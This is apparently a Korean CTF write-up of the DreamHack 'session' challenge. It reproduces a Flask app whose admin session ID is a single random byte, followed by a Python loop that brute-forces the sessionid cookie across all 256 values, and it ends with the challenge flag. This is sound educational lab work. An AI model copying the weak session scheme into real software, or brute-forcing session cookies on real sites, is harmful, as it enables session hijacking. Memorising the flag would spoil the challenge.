[Solved in under 30 minutes]
LoS만 주구장창 풀다가 드림핵도 스윽 풀러 왔다.
가보자

로그인하는 기능 말고는 별 다른 기능이 없어 보인다.
문제의 제목이 session이 아니였다면 나는 습관성 SQL Injection을 노렸을 것이다 ㅋㅋ
코드를 보자
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
users = {
'guest': 'guest',
'user': 'user1234',
'admin': FLAG
}
session_storage = {
}
@app.route('/')
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(4).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
if __name__ == '__main__':
import os
session_storage[os.urandom(1).hex()] = 'admin'
print(session_storage)
app.run(host='0.0.0.0', port=8000)
내 생각에 중요한 코드의 정리하자면,
users = {
'guest': 'guest',
'user': 'user1234',
'admin': FLAG
}
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(4).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
session_storage[os.urandom(1).hex()] = 'admin'
이렇게 세 부분 인 것 같다.
해석하자면
를 인지한 상태로 guest / guest로 로그인을 해보자

admin 아니라고 대놓고 꼽을준다.
쿠키를 한번 보자

guest로 로그인 되어 있는 저것이 8자리의 랜덤 hex값인걸 알 수 있다.
일단 이 문제를 해결하기 이전의 bit, byte, hex를 이해해보자.
1 bit = 0.25hex -> 1 or 0
1 byte = 8bit = 2hex -> 0x00 ~ 0xff
이다. 이것도 어렵다고? 조금 더 쉽게 보여주겠다.
1 bit = 0 or 1
1 byte = 0000 0000 ~ 1111 1111
0000 0000 -> 0
0000 0001 -> 1
0000 0010 -> 2
0000 0011 -> 3
0000 0100 -> 4
.
.
.
1111 1110 -> 254
1111 1111 -> 255
이런 형식이다.
그리고 이걸 한번 더 쪼개면? 1hex가 되는데
0000 -> 0
0001 -> 1
0010 -> 2
.
.
.
1110 -> 14(e)
1111 -> 15(f)
이게 바로 우리가 알고있는 16진수 "0123456789abcdef" 이거다.
1hex = 16개가 있으니
2hex = 16x16 = 256 이 된다.
아직 이해가 안된다면 공부 시간 투자 해서 해라 꼭 도움된다.
다시 돌아와서
session_storage[os.urandom(1).hex()] = 'admin'
admin의 쿠키가 랜덤으로 1hex로 부여되어 있다.
이 말은 0 ~ 255까지 총 256번의 경우의 수가 있는데 그 중 하나다!
이런 말이다.
다음은 뭐 할 차례?
바로 Brute-force 코드 짜자
Burp Suite로 해도 되는데 나는 아직 사용법을 proxy쓰는데 말고는 잘 몰라 그냥 Python코드를 짜서 했다.

import requests
url = "http://host8.dreamhack.games:13872"
for i in range(256):
hex = f"{i:02x}"
response = requests.get(url, cookies={'sessionid': hex})
if 'flag' in response.text:
print(f"found : {hex}")
break
29
URL 박아주고, 0부터 시작해서 255까지 총 256번 탐색하며
이거는 어떻게 해야할지 몰라 찾아봤는데 Python의 형식지정자라고
{i:02x} 라고 했을 때
0 : 빈 자리를 0으로 채움
2 : 총 길이 두자리
x : 16진수
가 되어 00 ~ ff 까지 256번 탐색한다.
그리고 http 응답문 중에 'flag' 라는 문자열이 있다면 뽑아주고 break
헥사값으로 뽑힌 29를 쿠키에 넣어주면?


FLAG가 보인다.
이거를 삽입하면~?

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
DH{73b3a0ebf47fd6f68ce623853c1d4f138ad91712}
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
역시 드림핵이라서 그런지 한 문제 푸는데 배울점이 되게 많은 것 같다.
나도 아직 많~~~이 부족하지만 우리 모두 화이팅합시다.
DreamHack Session Write-up
이상 보고 끝!